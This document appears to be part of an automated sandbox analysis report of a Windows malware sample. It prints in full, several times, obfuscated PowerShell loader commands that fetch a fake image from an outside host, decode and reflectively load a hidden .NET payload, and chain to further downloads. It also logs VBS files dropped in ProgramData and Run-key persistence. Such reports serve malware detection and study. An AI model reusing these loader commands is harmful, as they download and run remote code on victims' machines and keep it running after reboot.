gTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BAA0972 push E95B62D0h; ret	2_2_00007FFD9BAA09C9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 12_2_0543D7F1 push esi; retf	12_2_0543D7F2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 12_2_0543EF3D push esi; retf	12_2_0543EF4A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07D00CAE push dword ptr [ebp+ebx-75h]; iretd	19_2_07D00CB4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC6932 push ss; retf	20_2_00CC6A32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC42D7 push ebx; ret	20_2_00CC42DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC4B37 push ds; retf 0000h	20_2_00CC4B12
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC4688 push ss; retf 0000h	20_2_00CC49D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00CC5698 push ebp; retf 0000h	20_2_00CC56A2

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe	File created: C:\ProgramData\osma.vbs			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\ProgramData\ova.vbs

Boot Survival

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\osma.vbs			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\ova.vbs

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
